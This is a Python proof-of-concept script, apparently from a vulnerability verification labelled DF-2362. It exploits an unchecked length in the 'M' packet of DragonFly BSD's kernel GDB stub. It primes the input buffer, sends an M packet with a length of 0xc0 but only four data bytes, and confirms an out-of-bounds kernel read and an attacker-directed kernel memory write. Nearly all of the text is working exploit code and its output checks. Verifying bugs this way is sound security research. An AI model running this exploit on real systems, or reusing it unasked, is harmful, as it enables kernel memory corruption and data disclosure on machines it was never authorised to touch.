DF-2362 / exp_m_oobread.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 | #!/usr/bin/env python3 # exp_m_oobread.py -- DF-2362 verification (part 2): 'M' packet unbounded # length makes hex2mem() read past the end of the 400-byte static # remcomInBuffer (kernel BSS OOB read) and write the derived bytes to an # attacker-chosen kernel address (sys/cpu/x86_64/misc/x86_64-gdbstub.c:596-614 # + hex2mem:332-347). # # Mechanics of the proof: # RIn = 0xffffffff817a70c0 (400 bytes), adjacent right above # ROut = 0xffffffff817a6f20 (gap 16). # 1. prime remcomInBuffer with a known stale pattern: send an unknown # command 'q' + "0123456789abcdef"*24 (385 chars <= 398) -- the stub # stores it verbatim in remcomInBuffer and ignores it, # 2. read RIn[0..432] (safe bounded m reads) to know EVERY byte including # the 32 bytes of BSS past RIn end, # 3. send M<RIn>,c0:11111111 -- only 4 bytes of data supplied for a length # of 0xc0=192: hex2mem keeps reading past the packet NUL (stale pattern), # and past RIn[400] (BSS), writing the decoded/derived bytes to RIn, # 4. compare observed write against an exact python simulation of # getpacket()+hex2mem() using the captured buffer contents: # bytes >21 must match -- derived from stale buffer bytes (OOB read # past packet end) and from BSS bytes past RIn[400] (0xef signature: # hex() of a non-hex byte is -1, (-1<<4)+(-1) = -17 = 0xef). import sys, os, time, subprocess, json sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)))) from rsp import SerialPeer, parse_t05 SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock") VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh") RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362M-raw.log") ROUT = 0xffffffff817a6f20 RIN = 0xffffffff817a70c0 PRIME = "q" + "0123456789abcdef" * 24 # 385 chars def trigger_and_handshake(p): try: subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"], timeout=8, capture_output=True) except subprocess.TimeoutExpired: pass m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25) if m is None: print("[!] no T-packet from stub"); sys.exit(2) p.send(b"+") print("[+] stub up") def hexval(c): if ord('a') <= c <= ord('f'): return c - ord('a') + 10 if ord('0') <= c <= ord('9'): return c - ord('0') if ord('A') <= c <= ord('F'): return c - ord('A') + 10 return -1 def simulate_hex2mem(rin_after_getpacket, ptr_off, count): """Faithful simulation of gdbstub hex2mem() over remcomInBuffer.""" out = bytearray() i = ptr_off for n in range(count): ch = (hexval(rin_after_getpacket[i]) << 4) & 0xffffffff ch = (ch + hexval(rin_after_getpacket[i+1])) & 0xff out.append(ch) i += 2 return bytes(out) def main(): results = {} p = SerialPeer(SOCK, RAWLOG, name="m-oobread") trigger_and_handshake(p) r = p.pkt("?"); print("[+] '?' -> %r" % r) # 1) prime the stale pattern r = p.pkt(PRIME) print("[*] primed remcomInBuffer with 385-char known pattern (reply=%r)" % r) # 2) capture exact buffer state incl. 32 bytes past RIn end rin_before = p.read_mem(RIN, 432) if rin_before is None: print("[!] buffer read failed"); sys.exit(2) print("[*] RIn[0:64] = %s" % rin_before[:64].decode(errors="replace")) print("[*] RIn[384:432] = %s" % rin_before[384:432].hex()) # 3) the M packet: length 0xc0 but only 4 bytes of data supplied mp = "M%x,c0:11111111" % RIN r = p.pkt(mp) print("[+] %s -> %r (stub accepted truncated data: no length-vs-data check)" % (mp, r)) results["M_reply"] = r # 4) read back what got written (first ~20 bytes are clobbered by the # readback request packets themselves; compare from byte 21 on) got = p.read_mem(RIN, 198) if got is None: print("[!] readback failed"); sys.exit(2) # exact simulation: getpacket stores mp + NUL, residue beyond stays rin_sim = bytearray(rin_before[:432]) mp_b = mp.encode() rin_sim[0:len(mp_b)] = mp_b rin_sim[len(mp_b)] = 0 expected = simulate_hex2mem(bytes(rin_sim), len("M%x,c0:" % RIN), 198) print("[*] got[21:64] = %s" % got[21:64].hex()) print("[*] expected[21:64] = %s" % expected[21:64].hex()) print("[*] got[176:198] = %s (tail: bytes decoded from past RIn[400])" % got[176:198].hex()) print("[*] expected[176:198]=%s" % expected[176:198].hex()) match = got[21:198] == expected[21:198] print("[%s] observed write == simulation over OOB-derived region: %s" % ("+" if match else "-", match)) results["sim_match"] = match # where does the read cross RIn[400]? byte n reads RIn[ptr+2n .. ptr+2n+1] ptr = len("M%x,c0:" % RIN) cross = (400 - ptr) // 2 tail_ef = all(b == 0xef for b in got[cross+1:198]) if all( b == 0xef for b in expected[cross+1:198]) else None print("[*] read crosses RIn[400] at written byte ~%d; tail bytes 0xef=%s" % (cross, tail_ef)) results["tail_from_bss"] = tail_ef # control: the bytes between packet end and NUL..stale must NOT equal the # attacker's own supplied data -- they come from stale buffer content stale_derived = got[26:cross] != b"\x11" * (cross - 26) print("[%s] bytes past attacker data are stale-buffer-derived (not 0x11 fill): %s" % ("+" if stale_derived else "-", stale_derived)) results["stale_derived"] = bool(stale_derived) r = p.pkt("?") print("[%s] stub still responsive: %r" % ("+" if r == "S05" else "-", r)) d = p.pkt("D"); print("[+] detach -> %r" % d) p.wait(r" restarted|db: |panic", 10) time.sleep(2); p.pump(); p.close() results["ok"] = bool(match and stale_derived) print("[RESULT] " + json.dumps(results)) sys.exit(0 if results["ok"] else 1) if __name__ == "__main__": main() |